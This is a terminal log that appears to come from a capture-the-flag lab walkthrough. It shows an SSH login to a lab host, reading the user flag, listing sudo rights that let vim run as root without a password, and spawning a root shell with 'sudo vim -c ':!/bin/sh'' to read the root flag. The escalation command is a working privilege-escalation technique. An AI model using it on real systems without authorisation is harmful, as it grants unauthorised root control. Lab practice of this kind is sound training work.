ssh-cli

└─$ ssh mitch@10.10.6.153 -p 2222
The authenticity of host '[10.10.6.153]:2222 ([10.10.6.153]:2222)' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.6.153]:2222' (ED25519) to the list of known hosts.
mitch@10.10.6.153's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ ls
user.txt
$ cat user.txt  
G00d j0b, keep up!
$ cd ..
$ ls -l
total 8
drwxr-x---  3 mitch   mitch   4096 aug 19  2019 mitch
drwxr-x--- 16 sunbath sunbath 4096 aug 19  2019 sunbath
$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
$ sudo vim -c ':!/bin/sh'
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt
# cat root.txt
W3ll d0n3. You made it!